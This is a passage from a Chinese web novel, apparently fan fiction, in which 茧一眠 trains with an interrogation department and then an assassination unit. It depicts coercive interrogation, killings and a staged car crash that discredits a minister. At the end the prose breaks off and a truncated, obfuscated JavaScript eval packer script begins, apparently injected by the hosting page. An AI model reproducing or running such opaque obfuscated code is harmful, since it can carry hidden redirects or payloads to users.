“你说的话,我一个字都不会听。要么和我一起走,一起回家,要么就在这里,现在,直接分手。” 酒馆里忽然安静下来。周围的人都停下交谈,旁观着这场闹剧。 毛姆站在原地,脚步一步都没有挪开。 所有的希望在一瞬间破灭,所有的怀疑得到证实,所有的伤害终于无法掩饰。露西终于接受了这残酷的事实,变得平静而冷漠。 她伸手抓起桌上半满的酒杯,动作干脆利落地朝毛姆泼去。 琥珀色的液体甩出,准确无误地浇在毛姆头上,顺着他的脸颊滴落,染湿了他的衬衫前襟。 “分手。”露西说完这两个字,背影决绝,头也不回地走出了酒吧,风铃在她身后愤怒地响了一下。 整个酒馆鸦雀无声。 茧一眠这才注意到,整个酒吧的人都在看着他们。包括狄更斯,此刻他正一脸复杂地站在不远处,似乎正在迅速整理着刚才看到和听到的信息。 茧一眠只想挖个洞把自己埋了。 “走了。”毛姆一边擦着脸上的酒,一边低声说。 茧一眠既想骂他拖累自己,又看他这副德行不方便落井下石。他只能在袖子里比了个中指,发泄怨气。 两人在众人的目光中落荒而逃。 当晚,茧一眠刚回到住处不久,手机就响了。屏幕上显示着狄更斯的名字,让他的心一下子提到了嗓子眼。 深吸一口气,他按下接听键:“喂?” 狄更斯的声音从手机里传来:“茧一眠,我有个问题想问你。” “什么问题?” “你是怎么认识福尔摩斯事务所的毛姆的?” 茧一眠咽下一口口水,谨慎道,“就是那次任务之后,我们正好碰对眼,商量着喝了一杯。他对华国文化有兴趣,我就帮他解答一些问题。” “仅此而已?” “当然!我和他并不熟悉,我们也才是第二次见面。” 电话那头又是一阵令人不安的沉默。 然后,狄更斯忽然冒出一句:“毛姆是个双性恋。” 茧一眠差点被自己的口水呛到:“SO——?”跟他说这个干嘛??? “茧,你现在正是年轻气盛的时候,要记住不要被一些盲目的感情绊住事业。而且事务所和钟塔虽然关系友好,但终究是两个不同的机构。不要被计谋诱惑,透露了钟塔的内部情报。” “…………” 茧一眠简直无语了。 他咬着牙,一字一顿地说,“请问是什么让你产生这种荒谬的错觉,狄更斯先生。” “总之,考虑到你的情况,我决定给你增加一些必要的课程,包括特工抗诱惑训练和保密训练。另外,鉴于你在上次任务中的表现不尽如人意,还要额外增加审讯部的实习时间。” 茧一眠彻底服了。这才是狄更斯的真正目的吧?加训就加训,搞这些有的没的铺垫干嘛! “我明白了,还有其他指示吗?” “没有,明天上午准时到训练场报到。济慈会带你去审讯部。” “知道了。” 茧一眠直接挂断了电话,把手机扔到一旁,仰面倒在床上,用枕头盖住脸,发出一声绝望的呻吟。 这都是些什么事啊! 24.第 24 章 在这个阴雨的早晨,狄更斯和济慈联手将茧一眠递交到了审讯部。 审讯部的负责人是托马斯·哈代,他的异能[德伯家的苔丝]能让罪人陷入最痛苦的记忆,亲身经历被他伤害过的受害人的经历。那些被他审讯过的犯人,往往不需要动用任何刑具,就会精神崩溃。 不过[德伯家的苔丝]只对有罪之人起作用。越是心存邪念的人,承受的痛苦就越深。反之,如果是纯洁无暇的灵魂,异能的效果就会微乎其微。 审讯部位于监狱最底层的特殊关押区域。第一次来时,茧一眠就被审讯室的入口处的展览吓了一跳。 各种中世纪的刑具整齐地排列在走廊两侧:铁处女、断头台、拇指夹、绞刑架……还有几件带着暗褐色的锈迹,像是已经干涸了几百年的血迹。 哈代对此的解释为,这些都只是充当艺术的装饰品,用来给犯人心理压力的。现在的审讯部已经不用这么没效率的手段了。 茧一眠完全不觉得这些血迹斑斑的装饰品有什么艺术价值。 英国是最早废除死刑的国家之一,即使是最穷凶极恶的罪犯也会被留下性命。但这些无法被教化的人,注定要在这个地下世界中度过余生,永远被囚禁在地下的黑暗中。 特殊关押区域分为几个区块。最危险的是异能者区域。茧一眠在那里见到了一个被束缚带捆成粽子的异能者犯人,据说异能是无差别精神攻击,每次经过这里茧一眠都要提心吊胆,生怕一个不小心就中了招。 普通犯罪分子区域里关押着一些高智商反社会者和连环杀手。但这些人虽然没有异能,却也同样无法让人放松。每次茧一眠经过,总会有囚犯对他吹口哨,做下流的手势。 起初茧一眠选择忍耐,这些骚扰不值得理会。但随着时间推移,这些囚犯的行为越发大胆。 终于,茧一眠忍无可忍:“今天的训练能不能用这个人试手!我忍他很久了!” 哈代:“不行。” “为什么?” “监狱的非异能者区域在英国的人权保护法范围内。而且太容易被玩坏了,如果他死在监狱里,负责这片区域的警员们年终评优就泡汤了。” 看着茧一眠当场就要发作,哈代又慢慢补充道:“不过,你可以适当使用武力。只要不打死打残,给点教训是允许的。” 之后茧一眠把那个囚犯拖出来,揍到失去意识为止。但即便如此,这家伙下面还是鼓着的。 茧一眠:……MD 他要怎么表达自己的无语。 每天,茧一眠都要在这里待上几个小时,跟着哈代学习审讯技巧。潮湿阴冷的空气,不时传来的尖叫声,随处可见的刑具,还有那些阴恻的目光……SAN值每天都在下降。 茧一眠跟着哈代来到审讯室。茧一眠接过档案,快速浏览了一遍。里面绑着的是一个新兴恐怖组织成员,在伦敦制造了两起爆炸案。审讯目标是找出他们的大本营。 这个人也是茧一眠今天的练手目标,哈代会在暗中观察评估。 茧一眠进入审讯室,他首先模仿起奥威尔的步态。那是当初在监狱接受审讯时,奥威尔绕着他踱步的样子。 其实,茧一眠最初尝试学习的是哈代的表情和手法,不过失败了。哈代眼窝深邃、颧骨高耸,嘴唇薄而锋利,自带着一种让人不寒而栗的压迫感。而他即使刻意板起脸来,也只能达到不太高兴的效果。 后来,他想到了奥威尔。奥威尔的五官也不像哈代那样天生具有威慑力,但他却能通过精妙的肢体语言和语调变化,营造出同样强大的气场。茧一眠觉得这更适合自己,就偷偷学起了奥威尔。 茧一眠走到犯人面前,故意拉长语调,“在这里待得不舒服吧,不过马上要结束了——你的同伙都已经开始交代了。” 犯人撇过头,发出一声不屑的哼声。 “不相信?” 茧一眠拿出几张照片,动作刻意放慢,让每一张照片都停留足够长的时间,“这些都是你的同伴,听说你们平时感情很好?至少你是这么想的吧。” 犯人的眼神不自觉地被照片吸引,随即又强行移开。但他的喉结明显地滚动了一下。 “他们已经达成了认罪协议。只有先交代的人才能获得从轻处理的机会。” “当然,如果你坚持沉默,那就意味着所有的罪责都会落在你头上。你的同伙已经把所有的爆炸案都推给你了。” 茧一眠啧啧摇头,带着一丝嘲弄的同情:“可怜的家伙,被自己的兄弟出卖了啊。你觉得他们会给你请律师吗?” “还是说,你远在奥尔弗里斯顿的妻子和小儿子,会得到来自他们的一笔补偿?不过钟塔侍从可不会让笔来路不明的黑钱到普通民众手里。” 犯人的手指开始微微颤抖,呼吸也变得急促起来。 “你觉得什么样的处理方法会好一些,直接冻结账户,还是处理掉收款人,亦或两者都有?” 茧一眠走向门口,做出要离开的姿态,“我给你三分钟考虑。三分钟后,认罪协议就会送到检察官那里,不会再有你的份。” “不是我!”犯人第一次开口,声音嘶哑,“炸弹是莫里斯做的!” 他的脸因为崩溃而扭曲,最初的强硬已经荡然无存,只剩下一个被恐惧和绝望击垮的普通人。 茧一眠在对方看不到的地方暗自松了口气,如果这套不行,他就得动用刑具了,到时候又会弄得浑身脏兮兮的。血液溅到衣服上很难洗掉,而且总会留下令人烦躁的铁锈味。 他重新走回犯人面前,“很好,莫里斯负责炸弹,那谁负责选址?” “是戴维……戴维·沃伦……” 茧一眠继续循循善诱,一点点瓦解犯人的心理防线。不到十分钟,犯人已经完全崩溃,断断续续地抽泣着,将所有信息和盘托出。 审讯室外,哈代通过单向玻璃观察着整个过程,在考核上打出了一个不错的分数。 结束后,茧一眠以为会像往常一样被分配看守或文书工作。但哈代却反常地招手示意他跟上。 “今天不用整理记录?”茧一眠小跑着跟上哈代的步伐。 哈代没有回答,只是带着他走进了审讯部深处一个从未去过的房间。门上的标识写着[行动装备室]。 茧一眠推开门,里面陈列着各种武器,不同口径的手枪、冲锋枪,还有各种匕首和电击装置。架子上整齐地摆放着防弹背心、战术头盔和通讯设备。 哈代扔给他一套纯黑的紧身作战服,“换上这个,你的尺码。” 茧一眠困惑地接过衣服,哈代自己也开始更换装备。行动服上有许多的搭扣和口袋,设计得既贴身又便于活动。 “这是……要出外勤?”茧一眠一边换衣服一边问。 “既然已经掌握了情报,就该采取行动。”哈代简短地回答,同时熟练地将各种装备挂在身上——手枪、匕首、手雷、麻醉针,还有一个看起来像是抓钩的装置。 茧一眠按照哈代的指示,也给自己配备了类似的装备。当他系上最后一根皮带,不禁感叹这身装备的重量与其看起来的轻便形成鲜明对比。 “我以为审讯部只负责审讯,这种行动不应该是暗杀组或者特工组的工作吗?” “审讯部获取的有些情报不适合与其他部门分享。当涉及高度机密或时间紧迫的情况,我们会自行处理。” 他检查着茧一眠的装备,调整了几处不合适的地方:“这次行动是绝对保密的,不要告诉任何人,包括你那位王尔德老师。” “知道了。” 九点十五分。 茧一眠蹲在一处隐蔽点,透过夜视镜观察目标建筑物。 “哈代先生,我们非得杀死他们吗?有没有可能只是制服,然后逮捕?” “在你问这个问题前,先想想他 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哈代举起消音手枪,向主厅潜行。茧一眠则按计划绕到后门,准备从背后突袭。 第一个人就站在走廊拐角,背对着茧一眠。这是个年轻男子,正在抽烟,看起来毫无防备。茧一眠举起枪,瞄准了对方的后脑。 扣动扳机的那一刻,时间仿佛静止了,一切感官都被放大,指尖传来细微压力,击锤落下的轻微震动,以及子弹离膛的那一瞬间的冲力。 消音器吞没了大部分声响。那人倒下时出奇地安静,仿佛只是突然睡着了。没有惨叫,没有挣扎,生命就这样在一瞬间消逝。 茧一眠站在那里,心跳如擂鼓。他刚刚杀了一个人。这个念头如同实体,沉重地压在他的胸口。 没有时间多想,前方传来喊叫声。他的行动被发现了。 仓库内的寂静被枪声撕裂。茧一眠的本能接管了身体,朝他射来的子弹在接近一米范围内便化为尘埃,所有攻击都被他的防御场阻挡在外。 一个手持匕首的恐怖分子咆哮着向他冲来。茧一眠瞄准,射击。子弹精准地击中对方的眉心,那人的冲势戛然而止,如同断线的木偶一般倒下。 第二个。 时间在杀戮中变得扭曲。每一次扣动扳机,都有一个生命终结。 随着行动的继续,奇怪的是,最初的震撼反而慢慢消退了。取而代之的是一种诡异的平静,仿佛灵魂暂时脱离了身体,冷眼旁观着这一切。 仿佛有个声音在告诉他,就像切西瓜一样简单,不是吗? 当最后一个恐怖分子倒下,整个楼层回归寂静。茧一眠站在尸体之间,枪管微微发热。 他来到最里面的房间,哈代正在检查那些□□——这些本来会被用来炸毁伦敦地铁的死亡工具。 “任务完成了?” 茧一眠点头,“所有目标都……清除了。尸体应该怎么处理?” “通常会有清理小组来处理,但今天情况特殊。我们会炸毁整个仓库,不留痕迹。” 哈代将定时器与主□□连接,然后精确地设置了引爆时间。 “我们有十分钟离开。”哈代启动了定时器,向出口走去。 茧一眠跟在后面,回头望了一眼那些尸体。它们看起来不再像人,更像是被随意丢弃的布偶。这种去人性化的感觉既令人恐惧,又带来一丝奇怪的安慰。 “走,别回头。”哈代冷声呵斥道。 两人迅速退出仓库,按原路返回到停车位置。哈代启动汽车,驶离现场。 当他们行驶到约一公里外的高处时,忽然传来一声沉闷的爆炸声,远处的仓库被火光吞没。巨大的火柱冲天而起,照亮了半边天空。热浪甚至能在这个距离感受到,仿佛一股无形的冲击波扑面而来。 所有的证据、所有的尸体,都将在这场大火中化为灰烬,简单、彻底、不留痕迹。 25.第 25 章 继之前的行动成果后,哈代又帮助茧一眠开发了几种异能的新用法。 他的异能简直是为清理工作量身定制的。分解能力可以在瞬间摧毁一切物质,不留任何痕迹,有时比爆炸和火烧要干净利落得多。 于是他开始频繁地带茧一眠出外勤。有时则是清理工作;有时是去绑架、威慑。 一个月前,茧一眠还会因为这些行动而夜不能寐,但渐渐地他开始习惯了。这种习惯本身,比那些血腥场面更让他害怕。人类的适应能力是惊人的,甚至对恐怖也能产生免疫。 哈代很中意茧一眠。起初他以为这个东方男孩还需要一段时间的调教,但出乎意料的是,茧一眠上手极快,短短几周内就掌握了一些资深清道夫才有的技巧,而且从不问多余的问题,执行效率极高。他甚至有些想将茧一眠留在审讯部。 在这次行动结束后,哈代终于问出了这个问题:“茧,你有没有想过,干脆留在审讯部?我们部门正好缺一个你这样异能类型的人。” 茧一眠的脸色瞬间变得像是有人往他嘴里塞了一坨屎一样难看,仿佛听到了什么不可想象的恶心提议。 哈代:“…………” 此时无声胜有声。 看出茧一眠的表情,哈代没再问下去。他清了清嗓子,若无其事地转移话题,“算了,今天没有什么任务,你就早点下班回去休息吧。” 当指针已经指向九点时,王尔德终于回到庄园。 他今天被伍尔夫扣下画了两幅画像,每一幅都消耗了大量精力。[画像]的能力越是精细,越是耗费心力。 这个时间茧一眠应该已经从审讯部回来了。 此时,茧一眠正以东方人盘腿的姿势坐在沙发。他只穿着一件背心,布料紧贴着年轻的身体,上宽下窄。往日常穿的那件衬衫松松垮垮地披在肩上,衣角沾着几点暗红色的血迹,不知是不是审讯时溅上去的。 少年最近嫌刘海挡视线,在休息时间都会用一个发箍将头发向后梳去。 或许是因为食欲不振,少年的脸颊比之前消瘦了许多,少了几分稚气,反而多了几分锋利。那张原本带着几分天真的脸庞,此刻看起来像是快进了几年,隐约能看到未来成熟男人的样子。 茧一眠这边却感觉光线忽然暗了下来。他抬眼望去,只看到一个逆光的黑色人影,心脏瞬间漏跳一拍。 定睛一看才发现是王尔德,绷紧的神经这才稍稍放松。 茧一眠从沙发上起身,一边走一边将自己的衬衫穿好,“怎么了?找我有事吗?” 王尔德的目光不经意间从茧一眠的脸庞滑落,扫过他线条分明的小臂,停留在那些若隐若现的淤青上,“没事,就是来看看你。这几天在审讯室怎么样?” “老样子啦,没什么变化。” “你瘦了。”王尔德说。 “有吗?”茧一眠倒是没注意这个。 不过他长高了。从来伦敦后涨了五厘米,现在181了。 但又因为他在175+的时候,就已经习惯把自己四舍五入说成180了。现在真的长到了这个身高,反倒是没什么实感。不过他觉得他还能长,未来可期。 王尔德看着茧一眠不知道琢磨什么傻乎乎的样子,突然伸手捏了捏他的肩膀下方。 “果然瘦了。转过去我看看。”他说。 茧一眠:? 但还是乖乖转过身。 背心下的蝴蝶骨随着动作微微凸显,像是一对即将展开的翅膀。流畅的背部线条从肩胛骨一直延伸到腰际,肌肉轮廓透着一种介于少年与成年之间的美感。 单纯看一看还好,但时间一长,茧一眠多少有些不自在,尤其王尔德看得专注,搞得他莫名泛起一阵微妙的羞赧。 一番摆弄后,王尔德终于把他转回来。 “如果有机会几乎不去审讯部,你愿意吗?” 茧一眠还沉浸在刚才的局促中,一时没反应过来。当问题的意思终于渗透进他的意识时,他猛地抬头,差点被呛到,“真的?我可太愿意了。” 只要不是把他从哈代那儿丢到奥威尔那边这种操作,茧一眠都非常乐意。 王尔德欣赏着茧一眠脸上每一个细微的表情变化,“你的档案被调入暗杀部了。如果你感兴趣,明天我带你去看看那边的环境,看你喜不喜欢在那里待着。” “那是不是意味着明天不用去审讯部了?” “对。” 茧一眠的笑容在脸上绽开,他连连点头,像是怕王尔德反悔似的,“我可以!当然可以!” —— 次日,两人来到钟塔大楼。 茧一眠跟在王尔德身后,停在一扇样式朴素的铁质防盗门前。门上的铭牌简单地刻着[暗杀部]三个字,再没有其他的装饰。 他深吸一口气,既紧张又期待,不知道等待他的将会是怎样的新环境。 王尔德抬手敲了敲门。 “请进。”里面传来清冷的女声。 办公室很大,但因为拉着厚重的深色窗帘,即使是大白天也显得阴暗。 艾米莉·勃朗特坐在办公桌前。她一身黑色修身长裤配高领衬衫。身边站着她的小妹妹安妮·勃朗特,一条鲜黄色的蓬蓬裙衬得她像个向日葵,与她姐姐干练的风格形成鲜明对比。 “冒昧打扰了。”王尔德下意识回头看了眼,侧身让茧一眠先进。 就在这一瞬间,他的瞳孔骤然收缩——奥威尔不知何时已经站在了他们身后,挡住了退路。 茧一眠跟着往后瞥了一眼,浑身的汗毛瞬间竖起。 “早安,二位,真是巧啊。”奥威尔轻轻挥了挥手杖,像是在打招呼,却在落下时精准地横在了门框上,挡住了退路。 王尔德眉心一拧:“是啊,太巧了。不过最近见你的次数似乎有点多啊。这么喜欢散步,情报处的椅子坐腻了?” 奥威尔笑眯眯地说,“哪里哪里,只是偶尔也要出来走走,和各位同僚交流交流感情嘛。” “真体贴。”王尔德讽刺道。 “来都来了,不如坐下聊聊?”奥威尔笑得愈发灿烂。 办公室正中摆着一组深棕色的皮质沙发,呈L形排列。王尔德和茧一眠坐在靠门的那一侧,奥威尔则占据了另一侧的主位。 艾米莉端坐在办公桌后的转椅上,神情冷淡。安妮则是乖巧地靠在姐姐椅背上。 沉默在房间里蔓延了几分钟。 奥威尔把玩着手杖,似乎对这场沉默乐在其中。他知道王尔德在等他先开口,但他也在等着对方先开话题,再下套。 艾米莉靠在办公椅上,看着这两个男人明里暗里的较量。她昨天刚收到茧一眠的资料,今天王尔德就带人来了,奥威尔更是将时机掐得刚刚好。 女人主动打破僵局,率先开口:“既然来了,那就正式介绍一下。我是艾米莉·勃朗特,暗杀组组长。” 她微微侧身,示意身后的妹妹,“这是我的妹妹安妮·勃朗特。” 安妮端庄地点了点头,脸上挂着恰到好处的社交微笑。她隶属于钟塔侍从的外交部门,对礼仪这方面再熟悉不过。 不过她的目光总是不自觉地瞟向茧一眠——早在看到档案里的照片时,她就对这个东方男孩产生了兴趣。现在亲眼见到本人,她很想要个联系方式。 但看着王尔德和奥威尔之间剑拔弩张的气氛,还是觉得别太活跃,万一被牵扯进去就不好了。 茧一眠规规矩矩地做了自我介绍,“你好,我叫茧一眠。” 奥威尔突然开口,“对了,听说茧最近在审讯部实习,还顺利吗?” 茧一眠:“……还算顺利吧。” 奥威尔意味深长地说:“那地方确实压抑,很多人在审讯部都干不长久,不习惯也没关系,在别的部门会有更好的发展。” 茧一眠:“。” 明明就知道情况,还问个球啊。 “说起来,我这里正好有个任务……”奥威尔说着,目光扫过安妮。 安妮立刻心领神会。她当然清楚各部门之间的分际。她朝姐姐使了个眼色,绕到门边,轻手轻脚地离开,顺手把门关得严严实实。 等脚步声完全消失,奥威尔才继续说道:“——是关于内政部布莱克大臣的事” 茧一眠没听说过这个名字。但是在座的英国人都听过。 布莱克是内阁里最无作为的大臣之一,他靠着在媒体上制造话题、煽动矛盾混到了这个位置。一个典型的政治投机者,没有实际政绩,全靠耍嘴皮子。去年他抓住“住房危机”大做文章,承诺给年轻人更多福利保障,结果收获了大量选票。现在眼看任期过半,又开始为连任造势。 “艾米莉小姐,今天的报纸在吗?”奥威尔问道。 艾米莉从办公桌上抽出一份报纸,随手扔了过去。奥威尔接住,将报纸展开在茶几上。 头版用加粗黑体印着一行醒目标题:《政府高官首次揭露:异能组织的黑暗真相》 照片上,一个大腹便便的中年男人正握着话筒。 茧一眠皱眉看着报纸。布莱克在采访中大谈特谈要削减异能者特权,公开异能者名单。 文章里充斥着“人民的敌人”、“利益的吸血虫”、“荼毒青少年”之类难听的字眼。 茧一眠看到这些词汇,先是幸灾乐祸——哈,原来牛哄哄的钟塔侍从也有挨骂的时候耶。 但看着看着,他心情变得复杂起来。钟塔侍从确实有很多问题,但是这不代表人家一点功劳都没有啊,这说得有点太贬低人了。 但奇怪的是,在座的几位对这种言论似乎见怪不怪。王尔德甚至打了个哈欠,仿佛在看一份过期的娱乐新闻。显然,英国的政治表演他已经看得太多了。 奥威尔靠在椅背上,一只手轻轻转动着手杖,神态闲适,像是在下午茶时间闲聊,“我能理解这位大臣,人民需要一个发泄口,而政客需要选票。” “正如丘吉尔说的,‘民主制度最大的反对论据,就是和一个普通选民谈五分钟的对话。''民众总是愚昧的,他们会人云亦云,道听途说。给他们一个矛盾点,他们就会像狗追着骨头一样紧咬不放。” 茧一眠莫名感到一股寒意。 “布莱克很聪明。去年是住房问题,今年是异能者问题,他总能抓住民众最敏感的神经。” 奥威尔的语气中带着一种讽刺的欣赏意味,然而下一秒,他的表情骤然冷却,像是冬天的玻璃上突然结了一层霜。那双原本带笑的眼睛瞬间变得尖锐,“但是,这种言论不能再让它传播下去了。” 艾米莉盯着报纸上那张布莱克慷慨陈词的照片,同样表情冷峻。 奥威尔恢复和煦的笑容,继续说道:“本来这个任务是要交给暗杀组的,不过既然茧来了,不如就当作他的入组考核,怎么样。” 这话听起来像是询问,实则是陈述。 茧一眠追问道:“等等,你是要让我去暗杀大臣?”杀人可以,但他可不想上各大新闻媒体的头条啊。 “你不愿意?”奥威尔歪了歪脑袋。 这不是废话吗,他当然不愿意。 “那怎么说也是你们英国的大臣啊,我一外国人暗杀,不会引发什么国 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“任务就交给您来安排了。”奥威尔将文件递给艾米莉,然后转向茧一眠,露出一个意味深长的笑容,“好好表现。” 说完,他朝茧一眠挥了挥手,转身离开了办公室。 茧一眠僵硬地扯了扯嘴角作为回应。 奥威尔离开后,办公室里的气氛稍微轻松了一些。艾米莉翻开文件开始审阅, “二位稍等,让我先看看资料。只是这里没有茶,招待不周。” 王尔德整个人陷在沙发里,眉头紧锁,嘴角下沉。虽知茧一眠来之后一定会有任务,但被这么明晃晃下套的感觉实在不爽。 茧一眠用眼角余光偷偷瞄了他一眼,是在为他生气吗?其实奥威尔给的任务比哈代那边轻松许多。 大概是因为他之前做的那些都是保密任务,两方情报没能互通。否则难度应该更高才对。 艾米莉正在处理文件,说话聊天恐怕会打扰到她。茧一眠悄悄从口袋里掏出手机,打开备忘录,快速打了几个字: 【别皱眉了,会长皱纹的。】 他把手机递到王尔德面前。 王尔德扫了一眼,嘴角抽动,接过手机: 【我现在的表情就是你以后的表情。】 茧一眠想了想,又打字道: 【没事的,我不怕,因为任何困难都可以克服我。O(∩_∩)O】 王尔德:……… 一点安慰作用都没有。 但这个表情倒是很可爱,他忍不住想象了下茧一眠两只手在脸边做这个表情的样子……噗。 见王尔德眉头终于松开,茧一眠乘胜追击: 【人生就是起起落落落落落—— 会雨雨雨雨雨雨雨过天晴的—— (o゜▽゜)o☆】 王尔德将手机还给茧一眠,随后,拿出来自己的手机。 两人你来我往地发着短信。王尔德也来了兴趣,研究起这些字符是怎么打出来的。没过多久,他就掌握了诀窍,开始发一些更加精致的表情组合。 王尔德:【( ̄︶ ̄)↗得意的】 王尔德:【O﹏O →呆JIAN】 茧一眠:【∑(°Д°;)震惊的】 整个过程中艾米莉一言不发。 近半小时后,她终于转过身,看向王尔德:“王尔德先生,我要向茧先生说明任务细节。你确定要留在这里吗?” 王尔德在钟塔是个特例,他没有固定部门,像个不规则的齿轮,需要的时候才会被安排到合适的位置。如果他选择留下来,就意味着要和茧一眠一起执行任务。在任务期间,必须归属暗杀组管理。 王尔德听完,慢慢调整了一下坐姿。他翘起二郎腿,一只手臂搭在沙发靠背上,从艾米莉的角度看去,他像是半环住了身边的少年。 “嗯,说吧。我听着。” 艾米莉盯着他的动作看了几秒,然后转向电脑屏幕:“我查了布莱克的行程,他近期打算拉拢赞助人,会参加一场大型政商名流聚会……” 由艾米莉制定的计划里,第一步是让目标失去理智。 布莱克最近因为竞选压力焦头烂额,首先派一个人以投资人的身份接近他,谈一谈对他的投资计划。 在酒过三巡时,不经意提到他最近在媒体上给人留下的不良印象。布莱克一向自负,最受不了别人质疑他的政见。一旦情绪上来,这个人就会本能地想用酒精来镇定。而钟塔侍从会带去的几瓶“特制”美酒,让这个过程加速。 第二步是调开他的助手,让他的司机和助理都陷入一些“临时状况”。没有人能阻止一个喝醉的、愤怒的、想要证明自己的政客做蠢事。 随后安排好媒体,借机制造一起“意外”,再宣扬他深夜酒驾的丑闻。 从某种意义上说,这甚至不是一次暗杀行动,而是一场精心编排的社会戏剧。布莱克将在他最擅长的舆论场上自取其辱。 宴会、贵族、投资、资本、上流社会、权钱交易……这些词在茧一眠脑海里闪烁。 他的大脑开始自动脑补画面:自己穿着一身修身的黑色燕尾服,手持水晶香槟杯,站在灯火辉煌的大厅里,用流利的英语和各国使节谈笑风生…… 在审讯部的阴沟里干活久了,能出席大场合的茧一眠有些期待,“我需要准备什么吗?” 礼服?面具?假发?男士高跟鞋……不对不对,这是似乎是维多利亚时期的装扮。 艾米莉放下文件,面无表情地看了他一会儿。 “如果非要准备的话……找个隐蔽的草垛子吧。” 26.第 26 章 茧一眠藏身于一堆枯草之中,鼻子因为草屑的刺激而发痒。 这不是他想象的暗杀任务啊啊。 他想穿着熨得笔挺的燕尾服,在灯火通明的大厅里,举着香槟,和那些衣冠楚楚的绅士淑女谈笑风生—— 现实是,他趴在一堆冰冷潮湿的草里,像极了童话中的卖火柴小女孩,透过短暂燃起的火柴,短暂窥见他人的欢乐与幸福。 从这个位置远远望去,宴会大厅像一座金色的孤岛,漂浮在一片深蓝中。那里的一切都泛着奢靡的光泽。人影在玻璃窗后晃动,化作模糊的色块,如同一场失焦的默片。 可恶啊,地球上为什么不能多一个叫茧一眠的成功人士呢。 他调整瞄准镜,世界在镜片下瞬间清晰。 镜头里,香槟塔层叠而上,男人们西装革履,女人们珠光宝气。茧一眠在人群中找到了乔装后的王尔德,此刻他正和几位女士攀谈。 茧一眠忍不住多看了几眼。 王尔德本身就是个贵族,在这种场合游刃有余。其实,他的异能者身份是保密的,完全可以以真面目出席。但他却坚持要乔装改扮,因为他认为这种政治宴会“蠢得令人发指”,不愿意将自己的名字与之相连。 王尔德的声音突然在耳机里响起,“你看什么呢?专心盯着目标。” 茧一眠一惊:“你怎么知道我在看你?” 耳机里传来王尔德带着笑意的气音:“我不知道,但现在我知道了。” 意识到自己上当了的茧一眠:“……王尔德先生,请认真工作。” “这话应该送给你才对,偷看人还不肯承认的狙击手先生。” 就在这时,宴会厅的主门打开,阿拉伯大使团入场。布莱克议员正在这群人中心,脸上的笑容谄媚得几乎扭曲。他正试图从阿拉伯方面拉拢投资,这也是他今晚出席的主要目的。 茧一眠立刻回到专业状态,“目标出现,西北角,蓝条纹领带,正在和那个戴白色头巾的高个子说话。” 王尔德:“收到。” 王尔德向一名阿拉伯人举杯致意,自然而然地加入了他们的谈话圈。当话题转向某个投资风险时,王尔德刻意提及布莱克的名字,暗讽了几句他的政治立场。布莱克几乎是跳着过来辩解,而王尔德则不动声色地递上一杯又一杯烈酒,如同给猎物喂毒的蜘蛛。 茧一眠暗自赞叹,这社交手段简直如顺水推舟般自然。他完全做不来,还是老老实实打狙吧。 按照情报,这位酒鬼大臣每次参加宴会都会喝到不省人事,今晚也不例外。而王尔德早已安排让布莱克的司机“临时有事”离开。 事情的发展正如预期。两小时后,已经醉得东倒西歪的布莱克坚持要自己开车回家,无视其他人的劝阻,一个权力膨胀的男人,又被酒精麻痹了理智,谁还能阻止他呢? 确认王尔德安全撤离后,茧一眠收起装备,移动到预定的伏击点。 布莱克回家的路线固定,必经一段僻静的乡间公路。那里有个急转弯,便是他的最佳的伏击点。 几分钟后,茧一眠在新位置架好了枪。他看着远处的弯道,将普通的子弹赋予了延迟性分解的特性。布莱克的车一旦中弹,轮胎会在分子层面上崩溃。 远处传来引擎的轰鸣,两束车灯划破夜色。茧一眠瞄准了急转弯处。 扣动扳机的刹那,子弹旋转着离开枪管。 他的异能随着子弹一同前行,精确地锁定了轮胎外侧一个指甲盖大的区域。子弹穿透橡胶表面的瞬间,无形的分解力场向四周扩散。 轮胎并非爆裂,而是那一小块区域仿佛从未存在过——橡胶、钢丝网、甚至子弹本身,全都被彻底分解。破损处边缘光滑如同被精密仪器切割,却又不具备任何人工制造的特征。 布莱克的车失去控制,在惯性的作用下冲出弯道,狠狠撞上路边一辆印有[危险化学品]标志的货车——那是钟塔侍从精心布置的道具,里面装的液体看似危险,实则无害。 布莱克的安全气囊弹开,救了这个醉鬼一命。他摇摇晃晃地从车里爬出来,满脸茫然和恐惧。液体从撞坏的货车中流出,在地上形成一片刺眼的荧光色泽。 就在这时,早已埋伏在附近的记者们一拥而上,闪光灯亮起,照亮了整个事故现场,而布莱克议员则是今晚最狼狈的主角。 “目标如预期发生事故,媒体已到场,警车大约十分钟后到来。”茧一眠通过通讯器向艾米莉汇报。 艾米莉的声音传来,“可以,你先撤离吧。” 茧一眠收拾好装备,悄然融入黑暗。布莱克的声明,警方的调查,媒体的猜测,一切都将在明天的晨光中展开,但这些已与他无关。 —— 茧一眠来到和王尔德约好的地点。 一辆普通的黑色轿车静静停在那里。他轻轻敲了敲车窗,玻璃缓缓降下,露出一张有些陌生的脸。 虽然假发和美瞳已经被摘下,王尔德的面容上的伪装却依然在,仿佛一个完全不同的人戴着王尔德的眼睛在看他。 “过来,你坐这儿开车。” 他像猫一样灵活地横跨过中控台,滑到了副驾驶位置上。 茧一眠坐进驾驶座后,王尔德从手套箱里拿出一个小巧的黑色化妆包,取出一包卸妆湿巾,“开稳一点,我要卸妆。” “好。”茧一眠特意找了条平整的路,控制着车速保持在一个恒定值上。 透过后视镜,茧一眠不时瞥见副驾驶上的景象。 王尔德像是在进行一场外科手术,一层层剥离脸上的伪装。先是额头和眉骨附近的凸起物被揭下,接着是贴在颧骨上的硅胶填充物。 湿巾一张接一张变脏,而王尔德本来的面容则像是从泥塑中慢慢浮现的雕像,逐渐清晰。 茧一眠内心惊叹,这化妆技术堪称邪术。 王尔德注意到茧一眠的视线,侧身避了避,“看路,不许看我。” 茧一眠收回目光,专注于前方的道路。 但好奇心还是让他开口:“化妆真的太神奇了,像是某种异能一样唉,一个人能变成完全不同的样子。” 王尔德正在处理一块特别顽固的假体,卡在鼻梁上不肯下来,听到茧一眠的话,他哼了一声:“确实很方便,特别是对经常需要伪装身份的人来说。钟塔侍从里有专门的化妆课程。” “钟塔侍从还教这个?” “当然,伪装术是一门技巧,技巧需要有人传授方法。” “教练,我想学化妆。” “……你要我教你?” …… 两人回到庄园时,王尔德已经完全变回了光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 